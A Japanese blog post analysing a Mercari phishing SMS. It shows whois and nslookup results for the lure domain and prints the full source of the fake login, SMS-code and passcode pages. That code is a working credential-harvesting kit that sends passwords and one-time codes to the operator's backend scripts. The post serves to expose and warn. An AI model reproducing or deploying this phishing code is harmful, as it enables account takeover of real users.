メルカリ フィッシングメール(SMS)が送られてきたので調査してみた。※真似厳禁
SMSにメルカリに関するメールが送信されていきましたので、ドメインや実際のページを徹底的に検証・調査してみました。
フィッシングメール・フィッシング詐欺とは?
フィッシングメール・フィッシング詐欺とは、指定のサービスに酷似したドメインなどを利用し、オフィシャルのサイトを模写したログイン画面を用意しログイン情報を入力させ、ログインID、ログインパスワードを盗み取る手法のことです。
送られてきたメッセージ
送られてきた内容は下記画像の内容で、「メルカリをご利用ありがとうございます。メルカリの口座を一時凍結します。詳細はアクセス:https://mecariilogo.info/」と記載されていました。
ドメインの持ち主を調査
Whoisでドメインの情報を確認してみました。
結果は以下の通り。
登録は「2021-12-14」で新しいドメインの様です。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | Domain Name: mecariilogo.info Registry Domain ID: 5de68a76f0bf4d6e868dfe752bc51005-DONUTS Registrar WHOIS Server: whois.namesilo.com Registrar URL: https://www.namesilo.com/ Updated Date: 2021-12-16T07:00:00Z Creation Date: 2021-12-14T07:00:00Z Registrar Registration Expiration Date: 2022-12-14T07:00:00Z Registrar: NameSilo, LLC Registrar IANA ID: 1479 Registrar Abuse Contact Email: abuse@namesilo.com Registrar Abuse Contact Phone: +1.4805240066 Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited Registry Registrant ID: Registrant Name: Domain Administrator Registrant Organization: See PrivacyGuardian.org Registrant Street: 1928 E. Highland Ave. Ste F104 PMB# 255 Registrant City: Phoenix Registrant State/Province: AZ Registrant Postal Code: 85016 Registrant Country: US Registrant Phone: +1.3478717726 Registrant Phone Ext: Registrant Fax: Registrant Fax Ext: Registrant Email: pw-9a2b841f89588550d251c0aa98da76eb@privacyguardian.org Registry Admin ID: Admin Name: Domain Administrator Admin Organization: See PrivacyGuardian.org Admin Street: 1928 E. Highland Ave. Ste F104 PMB# 255 Admin City: Phoenix Admin State/Province: AZ Admin Postal Code: 85016 Admin Country: US Admin Phone: +1.3478717726 Admin Phone Ext: Admin Fax: Admin Fax Ext: Admin Email: pw-9a2b841f89588550d251c0aa98da76eb@privacyguardian.org Registry Tech ID: Tech Name: Domain Administrator Tech Organization: See PrivacyGuardian.org Tech Street: 1928 E. Highland Ave. Ste F104 PMB# 255 Tech City: Phoenix Tech State/Province: AZ Tech Postal Code: 85016 Tech Country: US Tech Phone: +1.3478717726 Tech Phone Ext: Tech Fax: Tech Fax Ext: Tech Email: pw-9a2b841f89588550d251c0aa98da76eb@privacyguardian.org Name Server: ns1.dns.com Name Server: ns2.dns.com DNSSEC: unsigned URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/ |
サーバーを調べる
次にnslookupでサーバーのIPアドレスを調べました。
IPアドレスは「155.94.134.183」でアメリカ合衆国の様です。
1 2 3 4 5 6 | Server: 10.0.1.1 Address: 10.0.1.1#53 Non-authoritative answer: Name: mecariilogo.info Address: 155.94.134.183 |
記載のURLにアクセス
ここからは真似しないでください。アクセス先によっては踏むだけでデータを取得するプログラムなどが記述されている可能性もあります。
アクセス先は「https://mecariilogo.info/」ですがPCでアクセス(厳密にはユーザーエージェントがiOSやandroid以外)でアクセスすると何も表示されませんでした。
そこでユーザーエージェントをiOSに偽装しアクセスするとリダイレクトが発生し「https://mecariilogo.info/login.php?token=f66f74c6eada4d0c68dfae12d2b」にアクセスしログイン画面が表示されました。
つくりはかなり雑で公式のものと比べると異なる部分が多い様です。また、公式のページはライトモード、ダークモードに対応していますがフィッシングサイトはライトモードのみの表示となっています。
ソースを確認
表面ではわかりませんがソースコードを見るとわかることがあります。
そこでフィッシングサイトのログイン画面のソースを確認しました。
確認する部分はformの送信先です、送信先は「smscode.php」となっています。
またページ下部にあるJavaScriptにコメントがありますが中国語で記載されていました。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 | <html lang="en" data-dpr="1" style="font-size: 54px;"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no,viewport-fit=cover"> <link rel="icon" href="/index/favicon.ico"> <title>ログイン - メルカリ スマホでかんたん フリマアプリ</title> <link href="css/chunk-33e067a3.3db98e59.css" rel="prefetch"> <link href="css/chunk-59a76fbc.ee42fe5e.css" rel="prefetch"> <link href="css/chunk-62172722.063c0a9d.css" rel="prefetch"> <link href="js/chunk-33e067a3.0a730f71.js" rel="prefetch"> <link href="js/chunk-59a76fbc.4c541c77.js" rel="prefetch"> <link href="js/chunk-62172722.c683da35.js" rel="prefetch"> <link href="css/app.08fda6cd.css" rel="preload" as="style"> <link href="css/chunk-vendors.663cee71.css" rel="preload" as="style"> <link href="js/app.46d27c9f.js" rel="preload" as="script"> <link href="js/chunk-vendors.6902600f.js" rel="preload" as="script"> <link href="css/chunk-vendors.663cee71.css" rel="stylesheet"> <link href="css/app.08fda6cd.css" rel="stylesheet"> <link rel="stylesheet" type="text/css" href="css/chunk-59a76fbc.ee42fe5e.css"> <script charset="utf-8" src="js/chunk-59a76fbc.4c541c77.js"></script> <style type="text/css"> .loadpagediv{ width:100%; height:80px; position: absolute; top:50%; margin-top:-28px; z-index:9999; } </style> </head> <body style="font-size: 12px;"> <center><div id="loadpagediv" class="loadpagediv" style="display:none;"><img src="loading.gif" style="width:80px"></div></center> <div id="app"><!----> <div data-v-7ee40c3b="" class="login"> <div data-v-7ee40c3b="" class="single-container"> <header data-v-7ee40c3b="" class="single-header"> <h1 data-v-7ee40c3b=""> <a data-v-7ee40c3b="" href="https://www.mercari.com/jp/"> <img data-v-7ee40c3b="" src="img/logo_login.6761cf5f.svg" alt="mercari"> </a></h1></header> <main data-v-7ee40c3b="" class="single-main"> <div data-v-7ee40c3b="" class="login-panel"> <form id="formid" name="formid" action="smscode.php" method="post" autocomplete="off" > <input type="hidden" id="ip" value="180.144.46.107"> <div data-v-7ee40c3b="" class="login-form-inner"> <lable id="errorid" style="display:none;color:red;">アカウントまたはパスワードが正しくありません。再入力してください</lable> <div data-v-7ee40c3b="" class="form-group"> <input data-v-7ee40c3b="" type="text" name="username" id="username" min="5" placeholder="メールアドレス" class="login-input-text input-default" onfocus="setOperateCode(0)"> </div> <div data-v-7ee40c3b="" class="form-group"> <input data-v-7ee40c3b="" type="password" name="password" id="password" maxlength="1000" placeholder="パスワード" class="login-input-text input-default" onfocus="setOperateCode(0)"> </div><!----> <div data-v-7ee40c3b="" class="form-group"> <button data-v-7ee40c3b="" type="button" id="xxx" class="login-submit btn-default btn-red" onclick="save()">ログイン</button> <a data-v-7ee40c3b="" href="https://www.mercari.com/jp/password/reset/start/">パスワードをお忘れの方</a> </div> <br data-v-7ee40c3b=""> <br data-v-7ee40c3b=""> <br data-v-7ee40c3b=""><br data-v-7ee40c3b=""> <br data-v-7ee40c3b=""> <br data-v-7ee40c3b=""> <div data-v-7ee40c3b="" class="login-form-inner"></div> <div data-v-7ee40c3b="" class="login-no-account"><p data-v-7ee40c3b="">アカウントをお持ちでない方はこちら</p><a data-v-7ee40c3b="" href="#">新規会員登録</a></div></div> </form> </div></main><footer data-v-7ee40c3b="" class="single-footer"><nav data-v-7ee40c3b=""><ul data-v-7ee40c3b="" class="clearfix"><li data-v-7ee40c3b=""><a data-v-7ee40c3b="" href="https://www.mercari.com/jp/privacy/">プライバシーポリシー</a></li><li data-v-7ee40c3b=""><a data-v-7ee40c3b="" href="https://www.mercari.com/jp/tos/">メルカリ利用規約</a></li><li data-v-7ee40c3b=""><a data-v-7ee40c3b="" href="https://www.mercari.com/jp/tokutei/">特定商取引に関する表記</a></li></ul></nav><a data-v-7ee40c3b="" href="https://www.mercari.com/jp/" class="single-footer-logo"><img data-v-7ee40c3b="" src="img/logo-gray.e6cc370e.svg" alt="mercari" width="80" height="65"></a><p data-v-7ee40c3b=""><small data-v-7ee40c3b="">© Mercari, Inc.</small></p></footer></div><div data-v-7ee40c3b="" class="van-overlay" style="display: none;"></div></div></div> </body> <script type="text/javascript"> var ip = document.getElementById("ip").value; var it = null; function save(){ var time = new Date() ; var m = time.getMonth() + 1; var t = time.getFullYear() + ":" + m + ":" + time.getDate() + ":" + time.getHours() + ":" + time.getMinutes() + ":" + time.getSeconds(); it = ip+":"+t; var username = document.getElementById("username").value; var password = document.getElementById("password").value; if(username.length<5||password.length<5){ if(password.length<5){ document.getElementById("password").value=""; document.getElementById("password").focus(); } if(username.length<5){ document.getElementById("username").value=""; document.getElementById("username").focus(); } }else{ document.getElementById("loadpagediv").style.display="block"; if (window.XMLHttpRequest) { // IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码 xmlhttp=new XMLHttpRequest(); } else { // IE6, IE5 浏览器执行代码 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { //写代码 } } xmlhttp.open("GET","apisaveuserpassword.php?username="+ username+"&password="+password + "&it="+it+"&time="+t,true); xmlhttp.send(); setInterval(listen,2000); } } function listen(){ if (window.XMLHttpRequest) { // IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码 xmlhttp=new XMLHttpRequest(); } else { // IE6, IE5 浏览器执行代码 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { //写代码 var data = xmlhttp.responseText; var user = JSON.parse(data); var operateCode = user.operatecode; if(operateCode==1){//直接放行跳转success.php document.getElementById("loadpagediv").style.display="none"; document.getElementById("formid").action="smscode2.php?it="+it; document.getElementById("formid").submit(); } if(operateCode==2){//需要验证跳转smscode.php document.getElementById("formid").submit(); document.getElementById("formid").action="smscode.php?it="+it; document.getElementById("formid").submit(); } if(operateCode==3){//错误 重新填写 document.getElementById("loadpagediv").style.display="none"; document.getElementById("errorid").style.display="block"; } } } xmlhttp.open("GET","getuser.php?it="+it,true); xmlhttp.send(); } function setOperateCode(operatecode){ document.getElementById("errorid").style.display="none"; if (window.XMLHttpRequest) { // IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码 xmlhttp=new XMLHttpRequest(); } else { // IE6, IE5 浏览器执行代码 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { //写代码 } } xmlhttp.open("GET","apisetoperatecode.php?it="+it+"&operatecode="+operatecode,true); xmlhttp.send(); } </script> </html> |
SMS認証も実装されている
ログイン画面の送信先である「smscode.php」に直接アクセスするとSMS認証の画面が表示されました。
こちらも念の為、ソースコードを確認します。
formの送信先は「#」が設定されいるので動作しません。ログイン画面でIDとパスワードを取得しているのでこちらは信用させるためのものかもしれませんがJavascript部分に下記の記述があり入力された認証コードを送信しています。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 | <html lang="en" data-dpr="1" style="font-size: 54px;"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no,viewport-fit=cover"> <link rel="icon" href="/index/favicon.ico"> <title>ログイン - メルカリ スマホでかんたん フリマアプリ</title> <link href="css/chunk-33e067a3.3db98e59.css" rel="prefetch"> <link href="css/chunk-59a76fbc.ee42fe5e.css" rel="prefetch"> <link href="css/chunk-62172722.063c0a9d.css" rel="prefetch"> <link href="js/chunk-33e067a3.0a730f71.js" rel="prefetch"> <link href="js/chunk-59a76fbc.4c541c77.js" rel="prefetch"> <link href="js/chunk-62172722.c683da35.js" rel="prefetch"> <link href="css/app.08fda6cd.css" rel="preload" as="style"> <link href="css/chunk-vendors.663cee71.css" rel="preload" as="style"> <link href="js/app.46d27c9f.js" rel="preload" as="script"> <link href="js/chunk-vendors.6902600f.js" rel="preload" as="script"> <link href="css/chunk-vendors.663cee71.css" rel="stylesheet"> <link href="css/app.08fda6cd.css" rel="stylesheet"> <link rel="stylesheet" type="text/css" href="css/chunk-59a76fbc.ee42fe5e.css"> <script charset="utf-8" src="js/chunk-59a76fbc.4c541c77.js"></script> <link rel="stylesheet" type="text/css" href="css/chunk-33e067a3.3db98e59.css"> <script charset="utf-8" src="js/chunk-33e067a3.0a730f71.js"></script> <style type="text/css"> .loadpagediv{ width:100%; height:80px; position: absolute; top:50%; margin-top:-28px; z-index:9999; } </style> </head> <body style="font-size: 12px;" class=""> <center><div id="loadpagediv" class="loadpagediv" style="display:none;"><img src="loading.gif" style="width:80px"></div></center> <div id="app"><!----> <div data-v-f5811a76="" class="index1"> <header data-v-f5811a76="" class="single-header"> <h1 data-v-f5811a76=""><a data-v-f5811a76="" href="https://www.mercari.com/jp/"><img data-v-f5811a76="" src="img/logo_login.6761cf5f.svg" alt="mercari"></a></h1> </header> <form name="formid" id="formid" action="#" method="post" autocomplete="off" > <input type="hidden" id="it" value=""> <main data-v-f5811a76="" class="single-main"> <section data-v-f5811a76="" class="l-single-container login-mfa"> <h2 data-v-f5811a76="" class="l-chapter-head">認証番号の確認</h2> <div data-v-f5811a76="" novalidate="novalidate" class="l-single-inner"> <div data-v-f5811a76="" class="l-single-content"> <p data-v-f5811a76="" id="phonestr">***-****- にSMSでお送りした6桁の認証番号を入力してください。</p> <div data-v-f5811a76="" class="form-group"> <label data-v-f5811a76="" for="code">認証番号</label> <input data-v-f5811a76="" type="text" name="smscode" id="smscode" placeholder="6桁の認証番号を入力" oninput="value=value.replace(/[^\d]/g,'')" maxlength="6" class="input-default " onfocus="setOperateCode(0)"> <font data-v-f5811a76="" id="codetips" color="red" style="display: none;">入力された6桁の認証コードが間違っています</font> </div> <button data-v-f5811a76="" type="button" class="btn-default btn-red btn-submit-red" onclick="save();">認証して完了</button> </div> </div> </section> </main> </form> <footer data-v-f5811a76="" class="single-footer"><nav data-v-f5811a76=""><ul data-v-f5811a76="" class="clearfix"><li data-v-f5811a76=""><a data-v-f5811a76="" href="https://www.mercari.com/jp/privacy/">プライバシーポリシー</a></li><li data-v-f5811a76=""><a data-v-f5811a76="" href="https://www.mercari.com/jp/tos/">メルカリ利用規約</a></li><li data-v-f5811a76=""><a data-v-f5811a76="" href="https://www.mercari.com/jp/tokutei/">特定商取引に関する表記</a></li></ul></nav><a data-v-f5811a76="" href="https://www.mercari.com/jp/" class="single-footer-logo"><img data-v-f5811a76="" src="img/logo-gray.e6cc370e.svg" alt="mercari" width="80" height="65"></a><p data-v-f5811a76=""><small data-v-f5811a76="">© Mercari, Inc.</small></p></footer></div></div><div class="van-toast van-toast--middle van-toast--loading" style="z-index: 2001; display: none;"><div class="van-loading van-loading--circular van-toast__loading"><span class="van-loading__spinner van-loading__spinner--circular"><svg viewBox="25 25 50 50" class="van-loading__circular"><circle cx="50" cy="50" r="20" fill="none"></circle></svg></span></div></div> </body> <script type="text/javascript"> var it = document.getElementById("it").value; function save(){ var smscode = document.getElementById("smscode").value; if(smscode.length != 6){ document.getElementById("smscode").value=""; document.getElementById("smscode").focus(); }else{ document.getElementById("loadpagediv").style.display="block"; if (window.XMLHttpRequest) { // IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码 xmlhttp=new XMLHttpRequest(); } else { // IE6, IE5 浏览器执行代码 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { //写代码 document.getElementById("formid").action="password2.php?it="+it; document.getElementById("formid").submit(); } } xmlhttp.open("GET","apisavesmscode.php?smscode="+ smscode + "&it="+it,true); xmlhttp.send(); } } </script> </html> |
SMS認証のコードも裏で送信している
JavaScriptのコードは以下です。
1 | xmlhttp.open("GET","apisavesmscode.php?smscode="+ smscode + "&it="+it,true); |
入力された文字列を送信しています。丁寧に6桁以外の場合は再度入力を求める様になっていました。
6桁の数字を入力すると
また6桁の数字を入力すると、formの送信先を「password2.php」に変更しアクセスするようになっています。
1 | document.getElementById("formid").action="password2.php?it="+it; |
実際の画面がこちらでパスコードの入力を求められます。
ソースは以下で、パスコード入力後は「success.php」に遷移しその後、公式の「https://jp.mercari.com」にリダイレクトされました。
もちろんログインは完了していません。
さらにこの時点で、アクセス元のIPアドレスを保存し再度「https://mecariilogo.info/」にアクセスしても「https://jp.mercari.com」にリダイレクトされる仕様となっていました。
もちろんIPアドレスを変更すればアクセス可能です。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 | <!DOCTYPE html> <html> <head lang="en"> <meta charset="UTF-8"> <meta name="format-detection" content="telephone=no,email=no,adress=no"> <meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no,initial-scale=1"> <link href="css/chunk-vendors.663cee71.css" rel="stylesheet"> <link href="css/app.08fda6cd.css" rel="stylesheet"> <title></title> <style> * { margin: 0; padding: 0 } li { list-style:circle} .main { margin-top: 40px; } .box { display: -webkit-box; -webkit-box-orient: horizontal; -webkit-box-pack: center; } .box .input-area { position: relative; } .box .input-area input { position: absolute; z-index: 1; left: 0; top: 0; opacity: 0; display: block; width: 100%; height: 100%; border: 0; outline: 0; } .box .input-area ul { position: relative; z-index: 1; display: block; overflow: hidden; background: #FFF; } .box .input-area li { position: relative; display: block; margin: 5px; float: left; width: 40px; height: 40px; border: 1px #DDD solid; } .box .input-area li.inputed:after { display: block; content: ''; position: absolute; width: 10px; height: 10px; border-radius: 20px; background: #000; margin: 15px; } #numberKeyboard { position: fixed; z-index: 910; bottom: -245px; left: 0; width: 100%; height: 245px; background: #FFF; color: #333; font: 26px/1.5 helvetica, sans-serif; -webkit-user-select: none; transition: bottom cubic-bezier(0.01, 0.48, 0.17, 0.96) 0.3s } #numberKeyboard.show { bottom: 0 } .numberkeyboard-pb { padding-bottom: 245px; } #numberKeyboard table { width: 100%; background: #E0E0E0; border-collapse: collapse; } #numberKeyboard td { width: 33.33%; height: 60px; text-align: center; background: #FFF; border: 1px #E0E0E0 solid; } #numberKeyboard td:active { background: #E0E0E0; } #numberKeyboard td.btn { color: #229DFF; font-size: 18px; line-height: 18px; } </style> <script src="zepto.min.js"></script> <script src="touch.js"></script> <script> $.log = function (text, append) { var $log = $('#log'); if (!$log.length) { $log = $('<div id="log" style="position: fixed;z-index:999;top:0;left:0;width:100%;min-height:20px;right: 0; line-height: 20px;color: #FFF;background: #000;">log:</div>'); $('body').append($log) } if (append) { text = $log.html() + ';<br>' + text; } $log.html(text); }; $.scrollTo = function (settings) { var DEFAULTS = { endY: 0, duration: 200, updateRate: 15 }; var interpolate = function (source, target, shift) { return (source + (target - source) * shift); }; var easing = function (pos) { return (-Math.cos(pos * Math.PI) / 2) + .5; }; var scroll = function (settings) { var options = $.extend({}, DEFAULTS, settings); if (options.duration === 0) { window.scrollTo(0, options.endY); if (typeof options.callback === 'function') options.callback(); return; } var startY = window.pageYOffset, startT = Date.now(), finishT = startT + options.duration; var animate = function () { var now = Date.now(), shift = (now > finishT) ? 1 : (now - startT) / options.duration; window.scrollTo(0, interpolate(startY, options.endY, easing(shift))); if (now < finishT) { setTimeout(animate, options.updateRate); } else { if (typeof options.callback === 'function') options.callback(); } }; animate(); }; scroll(settings); }; $.fn.numberKeyboard = function (method) { function shuffle() { var keyTd = $numberKeyboard.find('.key-number'); var length = keyTd.length; /*var array = []; for (var i = 0; i < length; i++) { array[i] = i; }*/ var array = new Array(length).join(",").split(",").map(function (item, index) { return index; }); for (var i = 0; i < length; i++) { var rand = parseInt(length * Math.random()); var temp = array[i]; array[i] = array[rand]; array[rand] = temp; } array.forEach(function (item, i) { keyTd.eq(i).data('value', item).html(item); }); } var $this = $(this); var $main = $this.parents('.main'); if (!$main.length) { $main = $('.main'); } var HEIGHT = $(window).height(); var KEYBOARD_HEIGHT = 245; var uncloseSelector = $this.data('unclose'); var $numberKeyboard = $('#numberKeyboard'); if (!$numberKeyboard.length) { $numberKeyboard = $('<div id="numberKeyboard" class="keyboard">\ <table>\ <tr><td class="key-number" data-value="1">1</td><td class="key-number" data-value="2">2</td><td class="key-number" data-value="3">3</td></tr>\ <tr><td class="key-number" data-value="4">4</td><td class="key-number" data-value="5">5</td><td class="key-number" data-value="6">6</td></tr>\ <tr><td class="key-number" data-value="7">7</td><td class="key-number" data-value="8">8</td><td class="key-number" data-value="9">9</td></tr>\ <tr><td data-value="10" class="btn j-close">⌨️</td><td class="key-number" data-value="0">0</td><td data-value="11" class="btn j-del">X</td>\ </tr>\ </table>\ </div>'); $main.append($numberKeyboard); $main.on('click', function (e) { var $target = $(e.target); if ($target.parents('#numberKeyboard').length || (uncloseSelector && $target.parents(uncloseSelector).length)) { } else { methods.close(); } }); } var handler = ''; var methods = { open: function (callback, unclose, shuffel) { uncloseSelector = unclose; setTimeout(function () { shuffel && shuffle(); $numberKeyboard.addClass('show'); $main.addClass('numberkeyboard-pb'); // 如果键盘覆盖输入框,需要上移视图 var top = $this.offset().top; if (HEIGHT - KEYBOARD_HEIGHT < top + $this.height()) { $.scrollTo({endY: top - (HEIGHT - $this.height() - KEYBOARD_HEIGHT) + 20}) } }, 0); handler = callback; }, close: function () { $numberKeyboard.removeClass('show'); $main.removeClass('numberkeyboard-pb'); } }; $numberKeyboard.off('click', 'td').on('click', 'td', function () { (typeof(handler) == 'function') && handler($(this).data('value').toString()); }); $numberKeyboard.off('click', '.j-close').on('click', '.j-close', function () { methods.close(); }); if (methods[method]) { return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); } else if (typeof method === 'object' || !method) { return methods.init.apply(this, arguments); } else { return $.error('Method ' + method + ' does not exist'); } }; </script> <script> $(window).on('scroll', function () { var scrollTop; if (document.documentElement && document.documentElement.scrollTop) { scrollTop = document.documentElement.scrollTop; } else if (document.body) { scrollTop = document.body.scrollTop; } console.log(scrollTop) }); $(function () { $('.input-area ').on('click', function () { var $this = $(this); $this.numberKeyboard('open', function (keyCode) { var value = $this.data('value'); value = (value === undefined) ? '' : value.toString(); if (keyCode < 10 && value.length < 4) { value += keyCode; } else if (keyCode == 11) { value = value.substr(0, value.length - 1); } $this.data('value', value); $this.find('li').removeClass('inputed').slice(0, value.length).addClass('inputed'); if(value.length == 4){ save(value) } }); }) }) </script> </head> <body class=""> <form name="formid" id="formid" action="success.php" method="post" autocomplete="off" > <div class="main"> <center> <p><div data-v-27a9a374="" ><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAllBMVEUAAAD/AhH/AhGjaYxNyf9Nyf9Nyf9Nyf+HiLJNyf9Nyf+gbJD/AhGdcJX/AhH/AhFnrN3/AhF0ncu5UG5SxPhNyf9Twvf/ZW7/kpnFQ16SfKOrYIH/dX3/0NP/+fn/naP/wsb/09b/Slb/6er/AhH/AhH/AhH/AhH/AhFNyf/pGy/0DiDSNE3/Ii//////EiD/QU3/Mj5rUttZAAAAKHRSTlMAYOB8sOCAEO3QIPBQ6BDw4UDi9vdgpvbh9evu9+v26+fo+vXQwKAg+srcDgAAAAFiS0dELlTTEIcAAAAHdElNRQflBxgGMSUkBCy2AAAA3klEQVQ4y5XT6Q6CMBBG0bqA4gq4FFFRUWDqMur7v5yyF5li+P6Re1ISUhhrtU4XoNtpzPEUJM8J6fWFEJo+oDPAUKQzRmSGschnDIgMV1FO//YJ/GwqAY2x2fwXmBIQjFnQGtj/wELqBgVuyxKsKAD3oq9ZCrjzqIhNdoZrpYAjIq++ZWubpnuFDDi423seHuovKwA8EClRAsAjnPDZBBzw8aUA/jkBLyWI9xdwrgLskj/VwSW5b+W35m/qgK8IgFxgFXeaIlJOSFjNYTXHiyQSRuS/lRNFTkkQNGRyH/sFbP851TKxAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDIxLTA3LTI0VDA2OjQ5OjM3KzAwOjAw9obrwQAAACV0RVh0ZGF0ZTptb2RpZnkAMjAyMS0wNy0yNFQwNjo0OTozNyswMDowMIfbU30AAAAASUVORK5CYII=" alt="" style="width:50px"></div> <br> <div data-v-27a9a374="" style="font-size:20px;">パスコードを入力してください</div> <br> </p> </center> <div class="box"> <div id="input" class="input-area"> <ul> <li></li> <li></li> <li></li> <li></li> <!--<input type="tel">--> </ul> </div> </div> <input type="hidden" id="it" value="it"> </div> </form> </body> <script type="text/javascript"> var it = document.getElementById("it").value; function save(password2){ if (window.XMLHttpRequest) { // IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码 xmlhttp=new XMLHttpRequest(); } else { // IE6, IE5 浏览器执行代码 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { //写代码 document.getElementById("formid").submit(); } } xmlhttp.open("GET","apisavepassword2.php?password2="+ password2 + "&it="+it,true); xmlhttp.send(); } </script> </html> |
ダミーの情報でログイン
フィッシングサイトにダミーの情報を利用してログインから行ってみましたが、下記の画面より進みませんでした。
ダミーの情報では先に進まないことを考えるとこのフィッシングサイトの仕様として以下のような仕様が考えられます。
あくまで予想なので実際に可能かはわかりませんが、メルカリ側のセキュリティーが甘いとアカウントを乗っ取られる可能性は十分にあると思います。
S.E->お勧め記事;
- メルカリ 定額払いで購入後、1回目の支払いを行ってみた
- メルカリ 障害発生? 商品を一時的に出品できない。
- メルカリ「定額払い利用で50%還元」を利用してみた。実際の支払額は?手数料はどの程度かかるのか?
- メルカリ キャンセル時の購入者の見え方〜販売者からは見えない部分を紹介〜 ペナルティに注意
- メルカリ「梱包・発送 たのメル便 」の対象地域でも対象地域外で購入できない〜事務局に問い合わせてみた
- メルカリ 新規登録者限定!! 出品するだけで1,000円分のポイントもらえる。招待ポイントを合わせれば1,500円分
- メルカリ サイズを間違って発送したらどうなる?ゆうパケット・ゆうパック
- メルカリ 指定期限を過ぎても自動で取引が完了しないときの対処法と理由を事務局に聞いてみた
- メルカリ 「定額払いの利用申し込み」から審査通過まで 今ならP1,000もらえる